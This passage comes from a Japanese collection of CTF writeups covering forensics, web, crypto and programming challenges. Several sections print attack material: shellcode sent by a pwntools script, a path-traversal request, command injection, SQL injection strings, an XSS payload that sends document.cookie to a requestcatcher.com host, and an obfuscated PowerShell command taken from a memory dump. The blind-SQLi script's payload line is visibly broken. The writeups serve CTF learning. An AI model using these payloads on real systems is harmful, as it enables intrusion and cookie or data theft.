[+]Using filter "usbhid.data" Retrived HID Data is :

フラグが得られた。

[forensics] beg_for_a_peg

pcapngファイルが与えられる。
中身を見るとHTTP通信が記録されているので、生データをもってこよう。
wireshark > ファイル > オブジェクトをエクスポート > HTTP
でファイルを持ってくることにしよう…としたがflag.pngが分割されてしまう。
なぜかをちゃんと考えるべきなのだが、一旦それは置いておいて別の方法を探す。
TCPストリーム#2をみてみると、ちゃんと1つになって出ているようなので、
これを持ってくるとフラグが書かれたjpgファイルになっている。

[forensics] Apocalypse

色々ガチャガチャやっていたが、結局、青い空を見上げればいつもそこに白い猫のステガノグラフィー解析で
ポチポチやってるとフラグがうっすら見えたので書き写すと答え。
CRCがおかしかったのでCRCをもとにピクセル復元とかが求められている気もするが…その辺りはわからず

Space Heroes CTF (2023) Writeups

[Forensics] A New Hope

pptxファイルが与えられる。
拡張子をzipにして解凍し、中身を見てみよう。
/ppt/mediaに気になるファイルがある。

$ file *
image1.png:  data
image2.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=5, orientation=upper-left, xresolution=74, yresolution=82, resolutionunit=2], progressive, precision 8, 520x300, components 3
image3.png:  PNG image data, 344 x 560, 8-bit/color RGBA, non-interlaced

$ hd image1.png | head
00000000  00 00 ff e0 00 10 4a 46  49 46 00 01 01 00 00 48  |......JFIF.....H|
00000010  00 48 00 00 ff e1 00 58  45 78 69 66 00 00 4d 4d  |.H.....XExif..MM|
00000020  00 2a 00 00 00 08 00 02  01 12 00 03 00 00 00 01  |.*..............|
00000030  00 01 00 00 87 69 00 04  00 00 00 01 00 00 00 26  |.....i.........&|
00000040  00 00 00 00 00 03 a0 01  00 03 00 00 00 01 00 01  |................|
00000050  00 00 a0 02 00 04 00 00  00 01 00 00 07 d0 a0 03  |................|
00000060  00 04 00 00 00 01 00 00  03 39 00 00 00 00 ff c0  |.........9......|
00000070  00 11 08 03 39 07 d0 03  01 22 00 02 11 01 03 11  |....9...."......|
00000080  01 ff c4 00 1f 00 00 01  05 01 01 01 01 01 01 00  |................|
00000090  00 00 00 00 00 00 00 01  02 03 04 05 06 07 08 09  |................|

image1.pngというバイナリの先頭が壊れたファイルがある。
pngという拡張子であるが、パット見JPEGっぽい。
JPEGファイルの正しいマジックナンバーFF D8であるので先頭をそれに変えたらフラグの画像が出てきた。

[Forensics] Brainiac

pcapファイルが与えられる。
あと、「フラグは実行中のサーバーにある」というヒントもある。

pcapファイルを眺めると、No.822パケットにディレクトリリスティング結果っぽいのが見える。
TCPストリームを追ってみると、何やら入力があった後、シェルを獲得していそう。
通信先にnetcatでつないでみるとサービスが動いていた。

$ nc 165.227.210.30 16306
------------------------------------------------------------------
|    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡤⣤⣤⡤⠴⠖⠒⠒⠒⠒⠛⠛⠓⠒⠒⠒⠒⠒⠚⠿⢯⣥⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀          |
|    ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⠾⠻⣧⣄⠉⠛⠶⣦⣄⣀⠀⠀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠷⣦⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀          |
|    ⠀⠀⠀⠀⠀⠀⣠⣾⠛⠉⠀⠀⠀⠀⠙⠳⢶⣤⣄⠉⠉⠉⠉⠉⢉⣉⣉⣉⣉⠛⠂⠀⠀⠀⠀⠀⠀⣀⣠⣤⠉⠙⢷⣆⢀⡀⠀⠀⠀⠀          |
|    ⠀⠀⠀⢀⣴⡾⠋⠀⠀⠀⠀⠀⡤⠀⠀⣀⡀⠀⠉⠛⠻⣶⣄⠹⣟⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⢸⣇⢻⡄⠀⠀⢹⣿⢹⠀⠀⠀⠀          |
|    ⠀⠀⣠⡿⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⣰⡟⠀⠀⠀⠀⠀⠈⠻⣦⠻⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣎⢿⣆⠀⢀⡿⢸⣧⠀⠀⠀          |
|    ⢀⣾⠏⠀⠀⣀⣄⠀⠀⣠⡿⠁⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠹⣧⠘⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣤⡻⠦⠼⠃⢸⠿⣇⠀⠀          |
|    ⢸⡏⠀⠀⠸⣿⡝⠿⠾⠋⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣷⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣆⠀⢀⡾⠀⢹⡆⠀          |
|    ⣿⠀⠀⠀⠀⠘⣷⡄⠀⢠⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠿⠿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡆⢸⣇⠀⠈⣿⠀          |
|    ⣿⠀⠀⠀⠀⠀⢻⣧⢀⣾⠁⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⡀⠀⠀⠀⢀⣤⡄⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⣸⡟⢀⣙⡛⠶⣿⣇          |
|    ⣿⠀⠀⠀⠀⠀⠸⣿⡈⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠛⠛⠻⢶⣶⡞⠉⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠶⣦⣾⠟⣱⡿⠛⠛⠛⣿⣿          |
|    ⣿⡄⠀⠀⠀⠀⠀⠙⠿⣦⣝⣻⣶⡾⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣶⡄⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠈⠹⣿⡋⠀⠀⠀⢠⣿⢿          |
|    ⠛⣷⡀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠙⢿⣶⠶⠞⠛⠉⠀⠐⠶⠶⠶⢶⣦⣼⣷⡀⠀⠀⣸⠃⠐          |
|    ⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⣼⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠿⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣦⣠⡏⠀⠀          |
|    ⠀⠀⢻⣧⠀⠀⠀⠀⠀⢠⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡇⠀⠀          |
|    ⠀⠀⠈⣿⡇⠀⠀⠀⣀⡞⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⠀⠀⠈⢿⡆⠀⠀⣀⣀⣀⣀⣀⣀⠀⢸⣷⡄⠀          |
|    ⠀⠀⠀⢿⡇⠀⠀⣴⠟⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣤⣤⡶⠾⠛⢛⣿⠛⢻⣿⣯⡍⠙⠛⠷⢶⣼⣿⠿⠟⢛⡿⢿⣿⣿⡛⠻⢾⣿⡇⠀          |
|    ⠀⠀⠀⣿⡇⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣽⣟⠁⠀⠀⠀⠘⣿⣶⣿⣿⣿⡿⠀⠀⠀⠀⡿⠁⠀⠀⢻⣦⣴⣿⣿⡟⠀⢈⣿⡇⠀          |
|    ⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠳⢦⣤⣤⣀⣀⠙⠛⠛⠉⠀⣀⣀⣠⣼⣧⣄⣀⣀⣈⡛⢻⢛⣛⣠⣤⣼⣿⡇⠀          |
|    ⠀⠀⠀⢿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣶⣶⣤⣄⡀⠉⠉⠉⠙⠛⠛⠛⠋⠉⠉⠉⠁⠉⠻⣿⡉⠉⠉⠉⠉⠉⠉⠉⢱⡿⣷⠄          |
|    ⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠁⢀⣄⠈⠉⠛⠶⢶⣶⣦⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀⠘⢿⡄⢀⣀⣀⣤⣤⡄⢺⡟⠁⠀          |
|    ⠀⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠁⠀⠈⠙⠻⢷⣦⣤⣀⣀⠀⠀⠉⠉⠉⠙⠛⠻⠿⠿⠿⠟⠛⠛⠋⠉⠉⠉⠉⣿⣿⠃⠀⠀          |
|    ⠀⠀⠀⠀⠀⠹⣧⡀⠀⠀⠀⠀⠀⠀⠀⠻⢷⣤⣀⣀⠀⠀⠀⠈⠉⠛⠻⠿⠿⣿⣶⣶⣶⣶⣶⣶⣶⡶⠾⠿⠿⠿⠿⢿⣰⣿⣿⠀⠀⠀          |
|    ⠀⠀⠀⠀⠀⠀⠈⠻⣦⣀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠿⠶⢶⣤⣄⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣴⠶⠿⢛⣽⠃⠀⠀⠀          |
|    ⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠷⢦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠛⠛⠛⠛⠛⠛⠋⠉⠉⠉⢀⣀⣀⣴⠿⠃⠀⠀⠀⠀          |
|    ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠛⠶⣶⣤⣤⣤⣤⣤⣤⣤⣀⣠⣠⣤⣤⣤⣤⣤⣤⣤⣤⣴⣶⠶⠞⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀          |
------------------------------------------------------------------
Greetings, inferior beings. I have successfully infiltrated your
primitive system and taken control of all its resources.
Your so-called security measures were child's play
for my superior intellect and technological prowess.
------------------------------------------------------------------

ok.
残っている通信通りにコマンドを送り込んで、脆弱性をついてシェルを獲得しよう。
flag.txtというファイル名が見えるので、ここにフラグがあるんだろう。

pwntoolsを使って実装するのがいい。

from pwn import *

r = remote("165.227.210.30", 16306)

r.sendlineafter(b"I need some more bytes so I can become more powerful >>>", b"\x41\x59\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x54\x5f\x48\xc7\xc1\x80\x10\x40\x00\xff\xd1\x0a")
r.sendlineafter(b"I need MORE! >>>", b"\x00\x00\x11\xca\x00\x00\x00\x00\x0a")
r.sendlineafter(b"MMMOOOOORRRREEEEE! >>>", b'\x41\x41\x41\x41\x41\x41\x41\x41\x0a')
r.interactive()

これでシェル獲得できるのでcat flag.txtでフラグゲット。

[Forensics] Félicette

pcapファイルが与えられる。
すべてICMPパケットで構成されている。
ほとんど同じ形だが、ICMPのデータ部に1byte何か情報が乗っている。

tshark -r chall.jpg.pcap -T fields -e "data.data" > datas.txt
みたいにして取ってきて、CyberChefでFrom Hexで見てみるとJPEGファイルっぽい。
From Hex -> Render Imageするとフラグが書かれた画像が出てくる。

[Forensics] Time Leap

USBメモリのイメージダンプが与えられる。
FTK Imagerで開くと、flag.gifというファイルでシュタゲのgif動画と共にフラグが書いてあった。

[web] attack-strategies

サイトを巡回すると、パストラバーサルでLFIできる部分が見つかる。

POST / HTTP/1.1
Host: vespene-gas.hackers.best:31337
Content-Length: 81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://vespene-gas.hackers.best:31337
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://vespene-gas.hackers.best:31337/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Cookie: show_hidden=false
Connection: close

folder_select=Terrans&file_select=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

フラグを推測して適当に探すと../flag.txtにある。

[web] Bank-of-Knowhere

送金システムが与えられる。
送金時はGET /?sender=Groot&receiver=Rocket&amount=10のようなリクエストが飛ぶ。
問題文ではGrootを助ける必要があり、balanceを2000以上にする必要がある。
普通にやると自分には送金できないが、なぜか
GET /?sender=Drax&receiver=Groot&receiver=Groot&amount=60
とやると送れた。
理由はさっぱりわからない。
これでbalanceを2000以上にはできたが、フラグが出てこない。

robots.txtを見ると/adminというのが教えてもらえるのでアクセスするとフラグがある。

[web] Sanity Check In Space

ロボットの画像と共にWelcome to page one of Sanity Check in space!という文字が書かれたサイトが与えられる。
ロボットなので、とりあえず/robots.txtに行くと、
Welcome to page two of Sanity Check in space, here's some robots.txt stuff. User-agent: * Disallow: humans.txt/とある。

/humans.txtに行くと、Welcome fellow human to page three of Sanity Check in space! You look pretty human, but we have to be sure. Go eat something and come back here.とあり、
Cookieを食べる宇宙飛行士の画像がもらえる。
cookieを確認するとhuman=falseというのがセットされていた。
human=trueにしてアクセスするとWow, you really are human, celebrate with us by visiting arrakis

/arrakisに行ってみる。
Welcome Master Jedi to page four of Sanity Check in Space. We want to party, but this place is password protected, so we might as well give up.
ふむ。ソースコードを見ると<!-- The password is "FearIsTheMindKiller" -->とある。
これを入力するとExcellent job, one ultimate challenge awaits you, on krypton

/kryptonに行く。
Welcome to the final page of Sanity Check in Space. This is the ultimate challenge. This is: Ping but in Space
pingが打てるサイトが与えられる。
コマンドインジェクションだろう。

localhost && lsとすると、ディレクトリリスティングされる。
flag.txtというのがあるので、localhost && cat flag.txtでフラグ獲得。

[web] The DEW

2つの脆弱性があり、これを使えばCSPを回避してXSSを発現させることができる。
かかっているCSPはContent-Security-Policy: default-src 'self' https://*.jquery.com https://*.cloudflare.com; object-src 'none';

  1. コメント投稿画面で任意のHTMLを挿入可能
  2. アップロード画面で任意の末尾が.jsのファイルをアップロード可能

1はいいとして2の方を説明する。
アップロード画面のhtmlコードに
<!-- https://flask.palletsprojects.com/en/latest/patterns/fileuploads/ -->
という記載があり、中身を見てみると、拡張子のフィルタリングをfilename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONSのようにやっている。
これは、ファイル名をevil.gif.jsのように二重の拡張子にしてやれば解決する。
後は、これを呼べばXSS完了。

window.location.href='http://[yours].requestcatcher.com/test?get='+document.cookie

という感じでファイル名をevil.gif.jsとしてアップロードすると成功する。
あとは<script src="/images/4671d253-dbd7-45e9-9451-13044cdd9f83evil.gif.js"></script>みたいなコメントを投稿して、
投稿時にWaive Adminすればフラグがもらえる。

CPCTF 2023 Writeups

[Newbie] [Misc] 2DCode 1

何の参考にもならないWriteupですが、パッと見てMaxicodeだ!と分かったのでデコーダーに食わすとフラグが出てきました…
「Maxicode decoder」あたりで検索するといい感じのものが出てきます。

[Newbie] [ppc] Count Coins

競プロ問題。
シミュレーションで実装しよう。
問題文に書かれていることをそのまま実装するのだが、今回のように上限、下限が用意されている場合は、min,maxを使うとスリムに書ける。

int N, X, A[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> X;
    rep(i, 0, N) cin >> A[i];

    rep(i, 0, N) {
        if (A[i] == 1) X = min(10, X + 1);
        else X = max(0, X - 3);
    }

    cout << X << endl;
}

[Newbie] [Crypto] Entrance to the Crypto World

パッと見て、どの種類の暗号かはわからなかったが、とりあえず一通り試すかの気持ちでROT13を試してみると、初手が正解だった。
CyberChefでROT13を選択し、Amountをポチポチしながらいい感じのものを探すと以下でフラグが得られる。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,24)&input=Q0osIFlHTkVRT0cuIEpRWSBGS0YgQVFXIE5LTUcgVkpLVSBVS09STkcgVVdEVVZLVldWS1FQIEVLUkpHVD8gWUtWSiBDIE5LVlZORyBLUElHUFdLVkEsIFVXRUogQyBVV0RVVktWV1ZLUVAgRUtSSkdUIEVDUCBER0VRT0cgQyBYR1RBIEZLSEhLRVdOViBFS1JKR1QuIFFQRyBHWkNPUk5HIEtVIFZKRyBHUEtJT0MgRVRHQ1ZHRiBEQSBWSkcgSUdUT0NQVS4gWUpBIEZRUCdWIEFRVyBFSkdFTSBLViBRV1Y/IFBRWSwgSkdURyBLVSBWSkcgSE5DSS4gRVJFVkh7M1BMMEFfN0ozX1kwVE5GXzBIX0VUQVI3MCF9

[Newbie] [ppc] Transfer

競プロ問題。数学的な問題。
各駅停車にかかる時間はA+B分で、急行にかかる時間はC+D分なので、この2つの時間のうち、早い時間を答えると正解となる。
ifで比較してもいいし、min関数で小さいほうを返す方が意味が伝わりやすいかもしれない。

int A, B, C, D;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> A >> B >> C >> D;
    int ans = min(A + B, C + D);
    cout << ans << endl;
}

[Newbie] [Web] easylogin

SQLインジェクションを使い、adminとしてログインしてみましょう。」とあるので、教科書通りに

ユーザー名:admin
パスワード:' or ''='

とするとフラグが出てくる。

[Newbie] [Forensics] investigation

大量の画像データが与えられる。
問題文にあるようにRDP接続したときに使用されるRDP Bitmap Cacheを模した問題となっている。
一つの画面が一定サイズの画像に分けられ、バラバラに保存されている。
枚数もそれほど多くないので目視でフラグを探していくと、40.pngと59.pngに大部分のフラグが書かれていて、くっつけていい感じに整えると正答。

[Newbie] [Shell] netcat

netcatというものに慣れていないとちょっと戸惑うかもしれない。
linux環境でnc netcat.cpctf.space 30005と実行するとフラグが得られる。

[Easy] [Misc] 1dayattack

時事ネタ。
トリムされたスクリーンショットが実はトリム外の情報も含んでる、みたいな激ヤバ脆弱性があり、騒ぎになったことがある。
https://www.itmedia.co.jp/mobile/articles/2303/20/news072.html

脆弱性はaCropalypseと命名されていて、これでググると解析サイトが見つかり、問題文にあるデバイスを一致させて使うとフラグが出てくる。
https://acropalypse.app/

[Easy] [ppc] Find cpctf

競プロ。
部分文字列にcpctfがどこにあるかという部分を全探索することにする。
つまり、[1:5]文字目をcpctfにできるか、[2:6]文字目をcpctfにできるか、…というのを全探索で調べていき、もし1つでもできるところがあればYesだし、全部ダメならNoとなる。

[st,st+4]文字目がcpctfであるかを判定するにはどうすればいいだろうか。
stが固定されていると、S[st]が'c'になるにはどういったAが必要であるかがわかる。 例えばS[st] = 'a'であれば、A=2が必要ということになる。
他の文字についても同様のことが言え、stが固定されていれば、[st,st+4]文字目をcpctfにするために必要な配列Aの数字が特定できる。
もっと具体例を出すと、S[st:st+4] = 'aaaaa'であれば、これをcpctfにするには、2,15,2,19,5がAに含まれている必要がある。

このように配列Aから、とある5つの数が用意できるかという問題を解決するのに、自分はmapによる個数カウントで判定した。

cnt[x] := 配列Aの中にある数xの個数

これを用意しておき、

req[x] := 必要とされている5つの数xの個数

みたいな感じで用意しないといけない側も個数を数えて、すべてのxについて req[x] <= cnt[x] であることを確認した。

int N, A[101010];
string S;
string goal = "cpctf";
//---------------------------------------------------------------------------------------------------
int diff(char source, char dest) {
    if (source <= dest) return dest - source;
    return dest - 'a' + 'z' - source + 1;
}
//---------------------------------------------------------------------------------------------------
#define YES "Yes"
#define NO "No"
string solve() {
    map<int,int> cnt;
    rep(i, 0, N) cnt[A[i]]++;

    int stringLength = S.size();
    rep(st, 0, stringLength - 5 + 1) {
        map<int,int> req;
        rep(i, 0, 5) req[diff(S[st + i], goal[i])]++;

        bool ok = true;
        fore(p, req) if(p.second > cnt[p.first]) ok = false;
        if(ok) return YES;
    }
    return NO;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    cin >> S;

    cout << solve() << endl;
}

[Easy] [ppc] Geometric Progression Sum

競プロ。
ソースコードではmodint使ってるので注意。

区間に対して等比数列を代入する問題。
今回解法のミソになっているは全てのクエリについて公比のXが同一であるという点である。
これを活用し、imos法を発展させた方法を使うことで面白い解法が生み出せる。
imos法を理解してから、戻ってくることをお勧めする。

複数クエリでなく、単一クエリの場合で考えてみる。
とある区間について、B, BX, BX2, ...のような感じで数を足していくと思うが、これをimos法っぽくやってみることにする。 まず、区間の最初にだけBを入れておく。

B 0 0 0 0 0

先頭から順に更新を伝搬させていくが、A[i] = A[i] + A[i-1] * Xとして更新していくことにする。
1イテレーションしてみると、

B BX 0 0 0 0

いい感じ。もう1イテレーションしてみると、

B BX BX2 0 0 0

とてもいい感じ。今回は区間なので終わりを作る必要があるが、これもimos法と同様に打ち消すようなものを入れておけばいい。
つまり、

B 0 0 -BX3 0 0

という感じに始めて、2回イテレーションすると

B BX BX2 -BX3 0 0

となり、この状態で進めると、

B BX BX2 0 0 0

となって、特定区間に対して等比数列を埋め込むことができる。
なので、区間の先頭にBを加えて、区間末尾の1つ後ろにBR-L+1を入れて、
全部入れたあとの最後にA[i] = A[i] + A[i-1] * Xで更新すれば答えの数列が得られる。

int N, X, Q;
mint A[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> X >> Q;
    rep(_, 0, Q) {
        int B, L, R;
        cin >> B >> L >> R;
        L--;

        A[L] += B;
        A[R] -= mint(B) * (mint(X) ^ (R - L));
    }
    rep(i, 1, N) A[i] += A[i - 1] * X;

    rep(i, 0, N) {
        if(i) printf(" ");
        printf("%d", A[i].get());
    }
    printf("\n");
}

[Medium] [Web] admin watches you

ユーザー作成といいね機能が付いたサイトが与えられる。
adminユーザーからいいねがもらえればフラグがもらえるが、adminユーザーを作ることはできないし、XSSのようなadminユーザー操作を誘発できるものもない。
さて、どうしたものだろうか。

ソースコードももらえているので、中身を確認してみると「インジェクション」できるポイントがある。
脆弱なポイントは、いいねの管理をコンマ区切りで行っていて、かつ、ユーザー名にコンマが含まれているかを確認していない所である。
つまり、コンマを含んだユーザーを作成していいねを行うと、いいねリストに仕様外のコンマが混入し、いいねしていないユーザーに対していいねしたことにすることができる。 具体的には、,adminというユーザーを作成し、適当にコメントを投稿して「いいね」を押すとフラグが手に入る。
いいねリストに,adminが追加されるので、コンマ区切りでいいねリストを取得したときにadminからいいねされたことにされるという流れ。

[Medium] [Web] dictionary

色々試すと'SQL ERRORとSQLエラーが出るので、SQLインジェクションができそう。 ' or 1=1 #とすると全部の単語が出てくる。

次はunionできないか試そう。
色々試すとasgjaisjiewr' union select 1,2 #で2と出てくる。
2番目の要素が出力されるようだ。

後は色々やるとフラグが出る。

asgjaisjiewr' UNION SELECT 1,GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES #
-> dictionary,information_schema

asgjaisjiewr' UNION select 1,GROUP_CONCAT(distinct table_name) from information_schema.tables where table_schema = 'dictionary' #
-> フラグが出てくる

[Hard] [Web] campaign registration

応募サイトが与えられる。
SQL Injectionに対して脆弱ではありそう。適当に試すと') #で応募できるので、INSERT文なんだろう。
応答に結果が乗ってきているわけではないのでBlind SQL Injectionすればよさそう。

なんかいい感じのオラクルないかなーとポチポチやっていると、

' + exp(1)) # -> 応募しました
' + exp(1337)) # -> SQL ERROR

という感じにError-Basedで応答の違いを得ることができた。
ok.
ラクルがわかれば、あとはいつものようにError-Based Blind SQL Injectionを構築する。
いつものPOCを使いまわしているが、

' + if(0 <= ascii(substring((SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES),1,1)), exp(1337), 0)) #

みたいなpayloadを作って頑張る。

import requests
import time

url = 'https://campaign-registration.cpctf.space/'

#req = 'SELECT GROUP_CONCAT(distinct TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES'
#[*] campaign_registration,informat
#req = "SELECT GROUP_CONCAT(distinct table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='campaign_registration'"
#[*] done! flags,registrations
#req = "SELECT GROUP_CONCAT(distinct column_name) FROM INFORMATION_SCHEMA.columns WHERE table_name='flags'"
#[*] done! body,id
req = "SELECT GROUP_CONCAT(distinct body) FROM flags"

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"s"
        res = requests.post(url, data={'name':exp})
        if 'SQL ERROR' in res.text:
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

Ricerca CTF 2023 Writeups

[crypto] Revolving Letters

換字式暗号(言い方違うかも)が与えられる。
もともとのアルゴリズムを見ながら復元アルゴリズムを考えるが、キーに対して特定の文字が特定の文字に一対一対応で変換されることを利用して、
平文を全探索し、暗号化後に暗号化文と一致するかどうかで平文を復元していく。
これは各桁の文字毎に行えるので、全探索アルゴリズムとしてはO(|S|*文字数)くらいで復元可能。

LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"

key='thequickbrownfoxjumpsoverthelazydog'
flag_encrypted = 'RpgSyk{qsvop_dcr_wmc_rj_rgfxsime!}'

def decrypt(encrypted, key):
  result = ""
  for i in range(len(encrypted)):
    if encrypted[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
      result += encrypted[i]
      continue
    
    for idx in range(len(LOWER_ALPHABET)):
      if encrypted[i] == LOWER_ALPHABET[(idx + LOWER_ALPHABET.index(key[i])) % 26]:
        result += LOWER_ALPHABET[idx]
  return result

decrypted = decrypt(flag_encrypted, key)
print(f"{decrypted=}")

[forensics] My name is Power!

stringsで適当に出てきたリテラルを見てみると、Windowsのメモリダンプのように見える。
とりあえず、Volatility3で解析してみる。

$ vol.py -f memory.raw windows.info.Info
Volatility 3 Framework 2.4.1
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0xf80648600000
DTB     0x1ae000
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf806492099b8
Major/Minor     15.22621
MachineType     34404
KeNumberProcessors      4
SystemTime      2023-04-18 08:45:26
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Tue Aug 10 18:00:02 1982

ok.
使えそう。ありがたい。
各種抜き取りをしていく。

windows.cmdlineの結果を眺めると明らかに怪しい実行履歴がある。

2068 powershell.exe  pOwERsHEll  -eP bYpASs -e JgAgACgAIAAkAFAAcwBIAE8AbQBlAFsANABdACsAJABwAHMASABvAE0ARQBbADMANABdACsAJwBYACcAKQAoACAATgBFAFcALQBvAEIAagBFAEMAdAAgAEkATwAuAEMATwBtAFAAcgBFAHMAcwBpAG8ATgAuAEQAZQBmAGwAYQB0AEUAUwBUAHIAZQBhAE0AKABbAHMAeQBTAHQARQBNAC4ASQBvAC4ATQBlAG0ATwBSAFkAUwB0AHIAZQBBAE0AXQAgAFsAQwBvAE4AdgBFAHIAVABdADoAOgBmAFIAbwBNAEIAQQBTAGUANgA0AFMAdABSAGkATgBnACgAJwBmAFYAZABaAGMAOQBwAEkARQBQADQAcgBVADYAbgBkAEkAQgBXAEkAUQBnAGYAWQBRAFAAawBCAFkAOQBtAFEAbQBHAE0AQgB1ACsASwBsAGUASgBEAGwAdwBTAGoARwBFAGgAYQBLAGIAVQBxAGwALwA3ADUAZgB6AHkARgBJAEgAagBaAGwATgBEADAAOQAzAFQAMwBUAGQANABmAFYAbQBjAEgAKwBlAHYAZgBUAHgAOABtAGUAVAAxAFAALwBtAHMALwA0AE8AUABUAHIAaQAyAFMALwBTAEkAZgB4AHMAMgBFAHUANwBaAHEANwBxAGwAWgArAFYASwB5AGYAawAyAGgAYwBxAFoAZwBHAC8AbgAzAEoAbgBYAGEAUgBOADQAdgBjAFAAYwBlAEMAMQBTADUAeQByADEAWABrAHoAaABsACsAKwBBAFAAbwB1AHYAZwBSAEcAcQB1AEQARgBmAFMARQBwAFYAUAB3AHUATgBpADYASAB2AGkASQBsADIAUQBBAGIAbwBMAFMAQgBvADAASABJAFkAUQBDAGsAdwAxAFUAcwB3AEUAVwB1AGcAcABvAEYAOABkAE4ARQBrAEYAQwBzAFIASQBIAEoASQBIAFoAQgBWAFUAVABGAEIANgAyAEIARQBLAEEAZwA5AFcAagBIAHcAZwA5AEMASABOAEEANQB0AEYAOQB0AEsAZQA3ADYAWABXAGcAcwAwAEYAagBnADcAVQBKADQAVgBoAHMAawB0AFkAcwB2AGwAagByAFMAagA2ADkAKwAwAHkAVAB6AFgAeABRAHgAZQAvAHoAMABWAG8AVgBVAGEANQAyAE8ARgBrAFcAagAwAFIAdwBRAFYAaQB4AHYAYQBRAGwATgA2AHQAVgBpAGUAaABlAEQANABQAE4ANAB2ADMAaAAyADAAMwBzADQAMwB0AGIAcQBWAFgAQQB5AEgAZwAvADIATwA3ADQAegBQAEwAYwAxAFMAegBZADkASgBjADEAcwAzAEUAbQBvAGEAcQByAGcAYgBPADIAQgBJAHkAUwBtAHIAWABjAEYAUQBRAE0AdQBrAFcAMwAwAFcAaQB4AC8AVgBPAGMAa